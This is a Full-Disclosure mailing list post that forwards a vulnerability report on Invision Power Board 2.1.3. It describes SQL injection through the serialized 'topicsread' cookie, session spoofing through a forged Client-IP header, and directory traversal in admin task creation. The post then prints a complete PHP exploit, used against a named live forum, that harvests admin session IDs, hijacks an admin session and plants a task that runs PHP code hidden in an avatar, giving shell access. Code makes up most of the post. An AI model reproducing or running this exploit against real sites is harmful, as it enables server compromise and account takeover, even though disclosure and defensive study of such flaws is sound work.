Well this would be NDSD-06-002 but n3td3v seems to have really
left.......All relevant details are in the message below, the SQL
injection was patched within a day
(http://forums.invisionpower.com/index.php?showtopic=204627), I believe
the other problems still exist.
-----Original Message-----
From: Sam Thomas
Sent: 05 January 2006 02:53
To: business@invisionpower.com
Subject: vulnerability disclosure
Hi,
I write to this address as I cannot find a better one to contact you on.
Could you please forward this message to the appropriate person(s).
I write to you to disclose three vulnreabilities within the ipb
software. I came across these whilst gaining access to pzforum.net as
part of the www.rootcontest.org contest. These vulnerabilities are
tested up to version 2.1.3.
Firstly I would like to make it clear that I have no intention of
disclosing these vulnerabilities to anyone other than yourselves until
they are fully rectified.
The main vulnerability exisits in the lack of sanity checking on the
cookie topicsread:
if ( ! in_array( $name, array('topicsread', 'forum_read') ) )
{
return
$this->parse_clean_value(urldecode($_COOKIE[$this->vars['cookie_id'].$na
me]));
}
else
{
return urldecode($_COOKIE[$this->vars['cookie_id'].$name]);
}
allows injection with variables of the form:
$injection_array = array(1=>1,"1) UNION SELECT
1,session_id,session_ip_address,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1 from ibf_admin_sessions where (1,1)=(1"=>2);
This can be used through the usercp to disclose pretty much any
information, including any files which can be accessed by load_file.
(SELECT INTO OUTFILE is also available on badly configured systems).
The second vulnerability exists in the handling if ip addresses:
$addrs[] = $_SERVER['HTTP_CLIENT_IP'];
$addrs[] = $_SERVER['REMOTE_ADDR'];
$addrs[] = $_SERVER['HTTP_PROXY_USER'];
foreach ( $addrs as $ip )
{
if ( $ip )
{
$this->ip_address = $ip;
break;
}
}
the Client-IP header can easily be forged:
if ($sip!="") {$com.= "Client-Ip: $sip\n";}
This essentially removes any security gained by the ip element of
sessions.
The third and final vulnerability exists in the mechanism for setting up
tasks:
This vulnerability is only an issue once access has been gained to the
admin panel. There is a simple directory traversal exploit:
$tmppvar.= "task_file=../../uploads/av-" . $forum_member_id . ".jpg&";
Thank you for taking time to look at this, and please let me know that
an appropriate person has received it.
Thanks,
Sam
The following code was used to gain shell access to pzforum.net through
these vulnerabilities. It creates a task which points to the users
avatar, into which s/he can place (.jpg comment field for instance)
arbitrary php code, including the passthru command etc....
exploit.php:
<?php
$server = "pzforum.net";
$port = 80;
//wait between checking sessions (90 minutes)
$interval = 60*90;
$forum_root = "/";
$forum_root2 = "\/";
$forum_cookie_header="paz";
$forum_member_id=xxx;
$forum_pass_hash="xxxxxxxxxxxxxxxxxxxxxxxx";
$forum_validate_cookie=$forum_cookie_header . "member_id=" .
$forum_member_id . ";" . $forum_cookie_header . "pass_hash=" .
$forum_pass_hash . ";";
// get initial session_id
$injection_array = array(1=>1,"1) UNION SELECT
1,session_id,session_ip_address,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1 from ibf_admin_sessions where (1,1)=(1"=>2);
$tmpcookie= $forum_validate_cookie . $forum_cookie_header .
"topicsread=" . urlencode(serialize($injection_array)) . ";";
echo "*** ATTEMPTING TO GET OLD SESSION INFO ***\r\n";
$tmppage =
getPage($server,$port,$forum_root."index.php?act=UserCP&CODE=00","",$tmp
cookie);
if (preg_match("/<a id=\"tid-link-1\"[^>]*>(.*)<\/a><\/span>[^<]*<div
class=\"desc\"><span[^>]*>(.*)<\/span>/",$tmppage,$tmpmatches))
{
$session_id=$tmpmatches[1];
$ip_address=$tmpmatches[2];
echo "old session: ip - " . $ip_address ." , " . "session_id - " .
$session_id . "\r\n";
// wait for a new session
$new_session=false;
echo "*** WAITING FOR A NEW SESSION ***\r\n";
while (!$new_session)
{
sleep($interval);
$tmppage =
getPage($server,$port,$forum_root."index.php?act=UserCP&CODE=00","",$tmp
cookie);
preg_match("/<a id=\"tid-link-1\"[^>]*>(.*)<\/a><\/span>[^<]*<div
class=\"desc\"><span[^>]*>(.*)<\/span>/",$tmppage, $tmpmatches);
if ($tmpmatches[1]==$session_id)
{
echo ".";
}
else
{
$session_id=$tmpmatches[1];
$ip_address=$tmpmatches[2];
echo "found new session!\r\n";
echo "new session: ip - " . $ip_address . " , " . "session_id - " .
$session_id . "\r\n";
$new_session=true;
}
}
// spoof new session to add our task
echo "*** ATTEMPTING TO SPOOF SESSION AND ADD AVATAR TASK ***\r\n";
$tmppvar = "task_title=Weekly Clean Out&";
$tmppvar.= "task_description=Rebuilds forum indexes&";
$tmppvar.= "task_file=../../uploads/av-" . $forum_member_id . ".jpg&";
$tmppvar.= "task_minute=0&";
$tmppvar.= "task_hour=0&";
$tmppvar.= "task_week_day=6&";
$tmppvar.= "task_month_day=-1&";
$tmppvar.= "task_log=0&";
$tmppvar.= "task_enabled=1";
$tmppage=getPagePut($server,$port,$forum_root."admin.php?adsess=" .
$session_id .
"§ion=tools&act=task&do=task_add_do&task_id=&type=add",$ip_address,"
",$tmppvar);
// retreive cron key of our task
if (preg_match("/Task Saved Successfully/",$tmppage))
{
echo "task added successfully.\r\n";
preg_match("/<strong> Weekly Clean
Out<\/strong>[^<]*<div[^>]*><em>Rebuilds forum
indexes<\/em><\/div>[^<]*<div[^>]*>[^h]*http:\/\/" . $server .
$forum_root2 .
"index.php\?section=tools&act=task&ck=(.{32})[^<]*<\/div>/",$tmp
page,$tmpmatches);
echo "cron key: " . $tmpmatches[1];
}
else
{
echo "Error adding task?\r\n";
}
}
else
{
echo "failed to validate?\r\n";
}
function getPage($server, $port, $file, $sip, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);
if (!$fp) {
return "Unknown";
} else {
$com = "GET $file HTTP/1.1\r\n";
$com.= "Host: $server:$port\r\n";
if ($sip!="") {$com.= "Client-Ip: $sip\n";}
if ($cookie!="") {$com.= "Cookie: $cookie\n";}
$com.= "Connection: close\r\n";
$com.= "\r\n";
fputs($fp, $com);
$header="";
do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}
return $header;
}
function getPagePut($server, $port, $file, $sip, $cookie, $pvar) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);
if (!$fp) {
return "Unknown";
} else {
$com = "POST $file HTTP/1.1\r\n";
$com.= "Host: $server:$port\r\n";
if ($sip!="") {$com.= "Client-Ip: $sip\n";}
if ($cookie!="") {$com.= "Cookie: $cookie\n";}
$com.= "Keep-Alive: 300\r\nConnection: keep-alive\r\n";
$com.= "Content-Type: application/x-www-form-urlencoded\r\n";
$com.= "Content-Length: ";
$com.= strlen($pvar)."\r\n\r\n";
$com.= $pvar . "\r\n";
fputs($fp, $com);
$header="";
do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}
return $header;
}
?>
***********************************************************************************
For more information about Aquaterra Leisure, see www.aquaterra.org
To shop for speedo or polar at bargain prices, see www.aquashop.org
***********************************************************************************
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
